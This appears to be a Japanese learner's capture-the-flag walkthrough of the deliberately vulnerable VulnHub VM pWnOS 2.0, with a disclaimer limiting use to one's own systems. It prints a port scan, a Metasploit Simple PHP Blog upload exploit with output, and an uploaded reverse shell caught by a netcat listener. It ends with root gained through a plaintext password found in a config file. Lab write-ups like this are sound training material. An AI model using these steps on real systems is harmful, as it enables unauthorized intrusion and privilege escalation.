初心者がいっぱしのセキュリティエンジニアを目指す為に勉強した備忘録となりますので間違っているとことがあるかもしれません。
vulnhubの意図的に脆弱性が作り込まれたpWnOS: 2.0 (Pre-Release)のWalkthroughとなります。
vulnhubの情報
Name | pWnOS: 2.0 (Pre-Release) |
---|---|
Date release | 4 Jul 2011 |
Author | pWnOS |
Series | pWnOS |
Web page | http://pwnos.com/ |
PortScan:
ssh
とApache
が稼働しています。
PORT | SERVICE | VERSION |
---|---|---|
22 | ssh | OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0) |
80 | http | Apache httpd 2.2.17 ((Ubuntu)) |
root@kali:~# nmap -sS -sV 10.10.10.100
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-10 20:03 JST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.10.10.100
Host is up (0.00036s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.17 ((Ubuntu))
MAC Address: 08:00:27:75:1D:13 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.17 seconds
Enumeration:
Simple Blog 0.4.0
のCMSツールを使っていることがわかりました。
SimpleBlog
というCMSはsphpblog
とも呼ばれているようで、バーション0.4.0
には脆弱性が存在します。
root@kali:~# msfconsole
msf5 > search sphpblog
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/sphpblog_file_upload 2005-08-25 excellent Yes Simple PHP Blog Remote Command Execution
Exploitation:
脆弱性が存在することがわかったので、metasploit
を使ってexploitしていきます。
exploitの実行した結果、シェルの獲得はできませんでした。
ですが、ログインIDが発行されており、ログインをおこなうことができました。
[+] Successfully logged in as J5xlbv:J60g8E
msf5 exploit(unix/webapp/sphpblog_file_upload) > set RHOST 10.10.10.100
RHOST => 10.10.10.100
msf5 exploit(unix/webapp/sphpblog_file_upload) > set URI /blog
URI => /blog
msf5 exploit(unix/webapp/sphpblog_file_upload) > exploit
msf5 exploit(unix/webapp/sphpblog_file_upload) > exploit
[*] Started reverse TCP handler on 10.10.10.23:4444
[+] Successfully retrieved hash: $1$bQ1Zx6r.$YuFIUQKUSFrId4cMAp//b.
[+] Successfully removed /config/password.txt
[+] Successfully created temporary account.
[+] Successfully logged in as J5xlbv:J60g8E
[-] Error retrieving cookie!
[+] Successfully Uploaded medqGCz2aIwuIkwaJAK6.php
[+] Successfully Uploaded akLzPlK3kcl4EHPPnin0.php
[+] Successfully reset original password hash.
[+] Successfully removed /images/medqGCz2aIwuIkwaJAK6.php
[*] Calling payload: /images/akLzPlK3kcl4EHPPnin0.php
[+] Successfully removed /images/akLzPlK3kcl4EHPPnin0.php
[*] Exploit completed, but no session was created.
Uploadを行う場所があったので、とりあえずリバースシェル(kali linux同梱のphp-reverse-shell.php)をアップロードしてみます。
無事にアップロードできている模様です。
リバースシェルを実行したところ接続することができました。
root@kali:~# netcat -lvp 1234
listening on [any] 1234 ...
10.10.10.100: inverse host lookup failed: Host name lookup failure
connect to [10.10.10.23] from (UNKNOWN) [10.10.10.100] 32808
Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
16:46:36 up 48 min, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 16:01 45:22 0.21s 0.19s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
Privilege Escalation:
接続先を調べていると、/var
したにgmysqli_connect.php
がありroot
のユーザ情報がありました。
$pwd
pwd
/var
$ ls
ls
backups crash lib lock mail opt spool uploads
cache index.html local log mysqli_connect.php run tmp www
$ cat mysqli_connect.php
cat mysqli_connect.php
<?php # Script 8.2 - mysqli_connect.php
// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.
// Set the database access information as constants:
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'root@ISIntS');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');
// Make the connection:
$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );
先ほど見つけたユーザ情報でroot権限を取得できました。
$ su root
su root
Password: root@ISIntS
root@web:/var# id
id
uid=0(root) gid=0(root) groups=0(root)
免責事項
本記事は情報セキュリティにおける攻撃の理解、防衛のスキル向上を目的としたセキュリティに関する内容がございます。本記事の内容を使用し発生した如何なる損害や損失について、当記事作成者は一切の責任を負いません。
本記事の内容を実際に使用して、第三者の個人や組織などを攻撃した場合は
法律により罰せられる可能性がありので、必ず自身が所有している環境のみを
対象とし、他人や組織が所有している環境は決して対象としないようお願いします。